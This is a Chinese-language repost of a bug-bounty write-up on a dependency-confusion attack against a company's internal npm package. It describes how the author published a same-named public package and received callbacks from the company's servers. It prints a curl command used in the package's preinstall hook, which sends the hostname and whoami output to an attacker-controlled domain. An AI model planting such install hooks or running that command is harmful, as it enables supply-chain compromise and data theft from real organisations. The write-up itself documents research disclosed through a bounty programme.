自学内容网 自学内容网

【网络安全】依赖混淆漏洞实现RCE

未经许可,不得转载。

文章目录

依赖混淆是一种供应链攻击漏洞,发生在企业的内部依赖包错误地从公共库(如npm)下载,而不是从其私有注册表下载。攻击者可以在公共注册表中上传一个与公司内部包同名的恶意包,一旦企业系统从公共源解析并下载该包,恶意代码便可能被执行,进而带来安全风险,如远程代码执行(RCE)。

正文

我发现某企业的前端 JavaScript 文件引用了一个存储在/node_modules/@confidential-package-name的Node.js包。进一步查询后,我发现这个内部包尚未在npm公共注册表中注册。

我创建了一个与内部包同名的恶意npm包,并将其发布到公共npm注册表中。在该包的preinstall脚本中,我嵌入了一个简单的命令,用来在安装时自动执行:

curl — data-urlencode “info=$(hostname && whoami)” http://<attacker-controlled-domain>.oast.fun

这个脚本会将服务器的主机名和用户名发送到我控制的域。

img

包上线后,数小时至几天内就收到了来自该公司的生产环境和非生产环境的多个请求,这说明他们的系统正在下载并执行这个恶意包。

img

在收到超过150个HTTP和DNS查询后,我分析IP地址,排除了已知的爬虫流量,并通过WHOIS查询检哪些请求能够匹配企业IP或其服务提供商的IP。可以看到,我实现了RCE:

img

img

原文出处:https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643


原文地址:https://blog.csdn.net/2301_77485708/article/details/142442111

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!